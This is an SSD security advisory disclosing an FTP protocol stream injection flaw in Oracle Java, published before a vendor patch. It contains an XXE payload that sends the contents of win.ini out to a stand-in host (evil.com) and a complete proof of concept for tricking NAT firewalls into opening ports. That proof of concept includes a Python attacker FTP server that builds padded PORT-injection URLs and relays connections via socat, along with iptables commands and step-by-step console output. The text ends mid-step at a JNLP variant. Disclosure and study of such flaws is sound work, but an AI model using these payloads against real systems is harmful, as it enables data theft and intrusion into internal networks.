SSD Advisory – Oracle Java FTP Stream Injection

Vulnerability Summary
The following advisory describes a FTP protocol stream injection vulnerability found in Oracle Java. Java is a general-purpose computer programming language that is concurrent, class-based, object-oriented, and specifically designed to have as few implementation dependencies as possible. It is intended to let application developers “write once, run anywhere” (WORA).
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
We have reported this vulnerability to Oracle, and have been waiting for several months for a patch for this vulnerability. Another researcher has discovered this vulnerability and went public with it – at which point we decided to publish the information without waiting for Oracle to release a patch.

Vulnerability Details
Java is vulnerable to an FTP protocol stream injection via malicious URLs. If an attacker can cause Java application to retrieve a malicious URL of this type, then the attacker can inject FTP commands into the client’s protocol stream.
For example, the following URL allows for new lines (CRLF) to be injected in the TCP stream, making the receiving server think that “NEW COMMAND” is a separate command sent by the client:

 ftp://x:inject%0d%0aNEW%20COMMAND@example.com/file.txt

The above URL, when fetched by Java, causes the following partial command sequence to be sent:

---8<---
USER x
PASS inject
NEW COMMAND
TYPE I
EPSV ALL
PASV
...
--->8---

Java is vulnerable to this injection via multiple fields in the URL. The username field and the directory path specified in the URL.
There are 2 main scenarios to exploit the vulnerability:

  1. XML External Entity (XXE) Exfiltration
  2. Opening Ports in the Firewall

Attack Scenario 1: XML External Entity (XXE) Exfiltration
If an application is vulnerable to XML External Entity (XXE), then this makes it easier to successfully use Out-Of-Band (OOB) exfiltration of file contents and similar data. An example for a hypothetical attack:

---8<---
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
  <!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
  <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
%dtd;]>
<roottag>&send;</roottag>
--->8---

In this example, the file located at http://evil.com/evil.dtd would contain:

---8<---
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://user:%file;@evil.com/x'>">%all;
--->8---

This would cause the contents of the win.ini file to be sent to the attacker’s FTP server as part of the PASS command. While similar attacks have been demonstrated with HTTP URLs previously, this is useful because Java’s HTTP URL validation has become more strict in recent years and will not allow many special characters in URLs that used to be allowed in previous versions. The FTP URL handler is far more lax, particularly in the password field.
Attack Scenario 2: Opening Ports in the Firewall
If an attacker can cause victim system to fetch an FTP URL with Java, and the victim’s firewall supports classic, non-passive FTP inspection and translation, then this attack can be conducted:

http://www.enyo.de/fw/security/java-firewall/
The firewall can be tricked into thinking a legitimate client wants an arbitrary port (under the attacker's control), to be opened - this is normally done to allow the remote FTP server to send a data stream back. In our version of the attack, no Java applet is required.
In a simple version of this attack, we could simply inject a malicious PORT command into the stream at the right moment. When the firewall sees this, it will translate the internal IP address and port for that command into an external address and port, and then enable a temporary NAT rule to allow a single TCP connection to come back in, relaying it to the client.
Suppose that the victim Java client host has address 10.1.2.3, the victim firewall has an external IP address of 8.14.14.15 and our attacker is at evil.com. Then we should expect this FTP URL to fool the firewall into opening up port 2000:
ftp://x:y@evil.com/bogus-directory%0APORT%2010,1,2,3,7,208/z.txt

Opening Ports in the Firewall Attack Scenario Proof of Concept
First Challenge: Determining Internal IP
In this scenario, the attacker needs to know the victim’s internal IP address. The attacker can send a prob URL, see how the client behaves, then try another until the attack is successful (Only 2-3 attempts should be required).
As for the first phase of the attack, the attacker can simply supply the victim with an FTP URL that points to an unusual port on the attacker’s server, such as:

 ftp://x:y@evil.com:1337/bogus-directory/z.txt

Assuming the attacker’s server rejects any passive commands, the Java client will fall back to using classic non-passive modes. When the client sends the PORT command, it is unlikely this will be translated by the victim’s firewall, since it is on an unusual port. That means the client will be handing the attacker it’s internal IP address.
Second Challenge: Packet Alignment
FTP is designed as a synchronous, line-based protocol where each side of the communication writes one line and waits for a response from the other side before continuing. That means neither side of the communication should write more than one command before waiting for the other to respond.
The Linux conntrack firewall modules take advantage of this fact to try and be extra sure that they really are seeing a PORT command on the wire. They implement this by requiring any PORT command to appear at the very beginning of the packet. Therefore, the URL (shown earlier) doesn’t actually cause Linux firewalls to open up the desired port:

ftp://x:y@evil.com/bogus-directory%0APORT%2010,1,2,3,7,208/z.txt

If you carefully observe the packet trace of the above URL being fetched, you’d see commands sent by the client coming in the following individual packets:

--Begin Packet 1--
USER x
--Begin Packet 2--
PASS y
--Begin Packet 3--
TYPE I
--Begin Packet 4--
CWD bogus-directory
PORT 10,1,2,3,7,208
--Begin Packet 5--
...

Since the PORT command comes in the middle of Packet 4, Linux ignores it.
To force the client to send the PORT command at the very beginning of a packet, even though two commands were sent in a single write, we will use CWD command with directory name that is long enough that it exactly filled up one TCP packet, Then “PORT…” would be forced to start at the very next packet.
There are several difficulties to exploiting this vulnerability, MTU size may be high, Java application may complain about receiving a very long URL. To overcome this, we can simply force the FTP session’s TCP connection to use the minimum MTU size, since we control the malicious FTP server. Linux firewall rules can be use to clamp the MSS to 536 bytes, which makes our malicious URLs much easier to calculate.
Getting Java our URLs
There are a variety of situations where we could convince a Java application to fetch our URLs, which we discuss briefly here.

  1. SSRF: If an application accepts any HTTP, HTTPS, or FTP URL, then exploitation is straight-forward. Even if the application accepts only HTTPS or HTTP URLs due to naive input validation, then an attacker could simply redirect to a malicious FTP URL.
  2. XXE: Most XXE bugs yield SSRF like access, so this is pretty straight forward. Note that some XXE vulnerabilities aren’t very practical to exploit due to XML parser settings, preventing classic entity attacks. However, in some of these cases SSRF is still possible.
  3. Man-in-the-Middle: If a Java application is fetching any HTTP URL, then a privileged network attacker could inject a redirect to bootstrap this attack.
  4. JNLP Files: If a desktop user could be convinced to visit a malicious website while Java is installed, even if Java applets are disabled, they could still trigger Java to parse a JNLP file. These files could contain malicious FTP URLs which trigger this bug. A clever attacker could weaponize the exploit to determine the victim’s internal IP address, determine the appropriate packet alignment, and then exploit the bug all in one shot. Many ports could be opened at once, potentially. I have not tried this, but it should be possible with a clever implementation.

General Setup
Set up 3 systems, each running Debian Linux. One system is the external attacker server (EAS), another is the victim firewall (VF), and the third is the victim target (VT). They should be arranged in a very simple configuration like this:
EAS —– VF —– VT
For the purposes of this document, let’s assume these hosts have the following IP addresses:

  1. EAS: 1.3.3.7
  2. VF: 8.14.14.15
  3. VT: 10.1.2.3

Victim Firewall (VF) Setup
Victim Firewall (VF) will need to be configured with a NAT firewall:

 iptables -t nat -A POSTROUTING -s 10.0.0.0/255.255.255.0 -j MASQUERADE

Then we will load the nf_conntrack_ftp and nf_nat_ftp kernel modules and set a couple of FORWARD rules to allow the modules to work:

 iptables -t filter -A FORWARD -s 10.0.0.0/255.255.255.0 -j ACCEPT
 iptables -t filter -A FORWARD -d 10.0.0.0/255.255.255.0 \
          -m conntrack --ctstate RELATED\
          -m helper --helper ftp -p tcp --dport 1024:\
          -j ACCEPT

In these rules, the 10.0.0.0/24 network is considered internal. The first forward rule above just allows all traffic outbound. The second rule allows non-passive FTP connections to connect back to clients, so long as the conntrack modules have determined the FTP client wants that connection to come back.
Victim Target (VT) Setup
Make sure Java is installed and ‘java‘, ‘javac‘ and ‘javaws‘ binaries are in $PATH. Also be sure socat and netcat are installed

apt-get install socat netcat-traditional

Copy the following code (we will call it fetch) to the Victim Target (VT) system and compile (javac ) it:

import java.net.*;
import java.io.*;
/**
 * A complete Java class that demonstrates how to read content (text) from a URL
 * using the Java URL and URLConnection classes.
 */
public class fetch
{
  public static void main(String[] args)
  {
    String output = getUrlContents(args[0]);
    System.out.println(output);
  }
  private static String getUrlContents(String theUrl)
  {
    StringBuilder content = new StringBuilder();
    // many of these calls can throw exceptions, so i've just
    // wrapped them all in one try/catch statement.
    try
    {
      // create a url object
      URL url = new URL(theUrl);
      // create a urlconnection object
      URLConnection urlConnection = url.openConnection();
      // wrap the urlconnection in a bufferedreader
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
      String line;
      // read from the urlconnection via the bufferedreader
      while ((line = bufferedReader.readLine()) != null)
      {
        content.append(line + "\n");
      }
      bufferedReader.close();
    }
    catch(Exception e)
    {
      e.printStackTrace();
    }
    return content.toString();
  }
}

The Victim Target (VT) host should run service to observe when the Attacker Server (EAS) system connects to it:

nc -l -p 12345

Whatever TCP port is chosen for this should be one that the Victim Firewall (VF) doesn’t ordinarily forward to the Victim Target (VT). It should also be a “high” port (>=1024).
Attacker Server (EAS) Setup
The Attacker Server (EAS) system will need a bit of configuration as well. Copy the following script (we will name him ftp-injection-server.py) to The Attacker Server (EAS) and be sure you are logged in as root.

#!/usr/bin/env python3
import sys
import os
import time
import random
import argparse
import binascii
import traceback
import struct
import socket
import threading
import subprocess
import urllib
import urllib.parse
parser = argparse.ArgumentParser(description="")
parser.add_argument('public_ip', default=None,
                    help='IP address the client can reach you at.')
parser.add_argument('internal_ip', default=None,
                    help='The victim host\'s internal IP address.')
parser.add_argument('target_port', type=int, default=None,
                    help='TCP port you want to fool the firewall into forwarding. Must be in the range [1024..65535].')
parser.add_argument('--port', type=int, default=21,
                    help='TCP port to listen on (default: 21).')
parser.add_argument('--ip', dest='ip', type=str, default='0.0.0.0',
                    help='Local IP address to listen on (default: 0.0.0.0).')
# Run this first to clamp down the MSS:
# iptables -A OUTPUT -p tcp --tcp-flags SYN,RST SYN --sport 21 -j TCPMSS --set-mss 536
#
options = parser.parse_args()
QUIT = 0
NL = '\n'
def generateURL(pad_len):
    global options
    octets = options.internal_ip.split('.')
    octets.extend(["%d" % (options.target_port/256),
                   "%d" % (options.target_port%256)])
    port_cmd = "PORT%20"+(','.join(octets))
    padding = "X"*pad_len
    newline = urllib.parse.quote(NL)
    url_template = "ftp://x:y@%s/leet%s%s%s/z.txt"
    return url_template % (options.public_ip, padding, newline, port_cmd)
def ftpSession(clientSock, stream_id):
    clientSock.sendall(b'220 Port Opener Express\r\n')
    next_command = ''
    while not QUIT:
        command = ''
        if next_command:
            command = next_command
            next_command = ''
        else:
            while not command:
                try:
                    command = clientSock.recv(536, socket.MSG_DONTWAIT)
                except BlockingIOError as e:
                    pass
        sys.stderr.write(">> %s" % command.decode('utf-8'))
        if command[0:4].upper() == b'USER':
            clientSock.sendall(b'331 Papers please\r\n')
        elif command[0:4].upper() == b'PASS':
            clientSock.sendall(b'250 OK\r\n')
        elif command[0:3].upper() == b'CWD':
            if b'\nP' in command:
                sys.stderr.write("ERROR: not enough padding to isolate correct padding length\n")
                break
            elif command[-1:] == b'\n':
                sys.stderr.write("Correct padding!\n")
                clientSock.sendall(b'250 Directory changed\r\n')
            else:
                sys.stderr.write("Payload size appears to be: %d\n" % len(command))
                new_url = generateURL(len(command)-len(NL)-8) # 8 for "CWD leet"
                print("Try this URL instead:")
                print(new_url)
                break
        elif command[0:4].upper() == b'PORT':
            command,next_command = command.split(b'\r\n')
            octets = command[5:].decode('utf-8').split(',')
            ip = '.'.join(octets[0:4])
            port = int(octets[4])*256+int(octets[5])
            sys.stderr.write("Client has opened %s:%d\n" % (ip,port))
            clientSock.sendall(b'200 PORT command successful.\r\n')
            local_port = random.randint(31337,41337)
            relay_cmd = ['socat', 'tcp4-connect:%s:%d' % (ip,port), 'tcp4-listen:%d,bind=127.0.0.1' % local_port]
            print("Setting up relay on 127.0.0.1:%d; connect to this to access the targeted service" % local_port)
            child = subprocess.call(relay_cmd, stdin=subprocess.DEVNULL, stderr=subprocess.STDOUT)
            print("Relay finished.")
            break
        elif command[0:4].upper() == b'TYPE':
            clientSock.sendall(b'250 Switching to Binary mode.\r\n')
        elif command[0:4].upper() == b'EPSV':
            clientSock.sendall(b'500 Command not understood.\r\n')
        elif command[0:4].upper() == b'PASV':
            clientSock.sendall(b'500 Command not understood.\r\n')
        elif command[0:4].upper() == b'EPRT':
             clientSock.sendall(b'200 EPRT command successful.\r\n')
        else:
            print("Unknown command:", command)
            break
    print("Closing control channel.")
    clientSock.close()
print("First try to give the vulnerable host this URL:")
print(generateURL(2000))
threads = []
listenSock = socket.socket()
listenSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listenSock.bind((options.ip, options.port))
listenSock.listen(100)
try:
    while 1:
        try:
            (clientSock, clientAddr) = listenSock.accept()
            sys.stderr.write("Connection received from %s:%s.\n" % clientAddr)
            clientSock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            clientSock.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 1)
        except Exception as e:
            print("Exception while listening: ", e)
            traceback.print_exc(e)
            continue
        except KeyboardInterrupt as e:
            QUIT=1
            break
        now = int(time.time())
        clientSrcPort = clientAddr[1]
        stream_id = "%d.%d" % (now, clientSrcPort)
        t = threading.Thread(target=ftpSession,
                             args=(clientSock, stream_id))
        threads.append(t)
        t.start()
except Exception as e:
    sys.stderr.write("Unexpected exception: %s\n" % repr(e))
listenSock.close()
QUIT=1
for t in threads:
    t.join()
sys.exit(0)

Next, the following firewall rule should be added to implement the MSS clamping (to be clear: we’re running this on the attacker’s server, not the victim firewall):

 iptables -A OUTPUT -p tcp --tcp-flags SYN,RST SYN --sport 21\
          -j TCPMSS --set-mss 536

Step 0: Determine the Victim’s Internal IP
Run the ftp-injection-server.py script on a high port:

./ftp-injection-server.py --port 9999 1.3.3.7 255.255.255.255 1111

Next, run fetch on the Victim Target (VT) with a URL that points to this high port service:

java fetch ftp://x:y@1.3.3.7:9999/foo.txt

This should cause the Attacker Server (EAS) FTP service to response something like:

---8< ---
Connection received from 8.14.14.15:35278.
>> USER x
>> PASS y
>> TYPE I
>> EPSV ALL
>> PASV
>> EPRT |1|10.1.2.3|38395|
>> RETR foo.txt
Unknown command: b'RETR foo.txt\r\n'
--->8---

Step 1: Verify Victim Firewall (VF) is Translating PORT/EPRT Commands
Let’s make sure your firewall is behaving as we expect – stop the FTP server script if is is already running and start it again:

./ftp-injection-server.py 1.3.3.7 10.1.2.3 12345

The first IP address is the external IP of the Attacker Server (EAS), the second is the internal IP of the Victim Target (VT), and the last argument is the port number we would like to open up for attack.
Next, run a non-malicious FTP fetch to see if the firewall translates this port 21 traffic:

 java fetch ftp://x:y@1.3.3.7/foo.txt

You should see the Attacker Server (EAS) service to response something like:

---8<---
Connection received from 8.14.14.15:37516.
>> USER x
>> PASS y
>> TYPE I
>> EPSV ALL
>> PASV
>> EPRT |1|8.14.14.15|45545|
>> RETR foo.txt
Unknown command: b'RETR foo.txt\r\n'
Closing control channel.
--->8---

Step 2: Determine CWD Padding Length
The FTP server script will automatically determine the correct packet offset by first asking you to fetch a long URL via the vulnerable client, and then calculating what the correct padding length is.
Restart the FTP server script with the same arguments from Step 1.
It should response a message like this upon startup:

---8<---
First try to give the vulnerable host this URL:
ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXX%0APORT%2010,1,2,3,48,57/z.txt
--->8---

Copy and paste this URL into a command on the Victim Target (VT):

java fetch ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXX%0APORT%2010,1,2,3,48,57/z.txt

The directory with all of the padding (X’s) is too long for one packet, but upon fetching this, the FTP server will calculate the correct URL to use for success.
You should now see something like this on the EAS console:

---8< ---
Connection received from 8.14.14.15:37436.
>> USER x
>> PASS y
>> TYPE I
>> CWD leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Payload size appears to be: 536
Try this URL instead:
ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXX%0APORT%2010,1,2,3,48,57/z.txt
Closing control channel.
--->8---

This final URL should be usable going forward for any number of TCP connections you want to initiate to the Victim Target (VT).
Step 3: Open the Firewall and Test the Service
Keep the FTP service running with the same configuration from Step 2. Just do a final fetch to open up the port through the firewall:

java fetch ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXX%0APORT%2010,1,2,3,48,57/z.txt

This should cause the FTP service to response something like this:

---8< ---
Connection received from 8.14.14.15:37474.
>> USER x
>> PASS y
>> TYPE I
>> CWD leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Correct padding!
>> PORT 10,1,2,3,48,57
Client has opened 10.1.2.3:12345
Setting up relay on 127.0.0.1:32537; connect to this to access the targeted service
--->8---

If you see the “Correct padding!” message, then the FTP service thinks the attack worked. It will immediately spawn a socat process which relays a single TCP connection to the Victim Target (VT). This is done because the Victim Firewall (VF) might time-out the data connection for the FTP command if you don’t act quickly. By spawning a socat child process, we get the connection established and can hold on to it longer.
The “Setting up relay…” message indicates which local TCP port that socat is now listening on. To send a bit of data through this relay, run (using the port mentioned in this message):

 echo pwned | nc 127.0.0.1 32537

Then observe the listening netcat process running on the Victim Target (VT). The word “pwned” should show up on STDOUT.
Step 4: Try Java Network Launch Protocol (JNLP) Attacks
Once you have an FTP URL that works for you in Step 3, you could try the attack from Java WebStart. Edit the the following code (we will call it evil.jnlp) and replace the “codebase” attribute in the top level “jnlp” tag, placing your working URL in it. Then just run this on the Victim Target (VT) – javaws evil.jnlp

<?xml version="1.0" encoding="UTF-8"?>
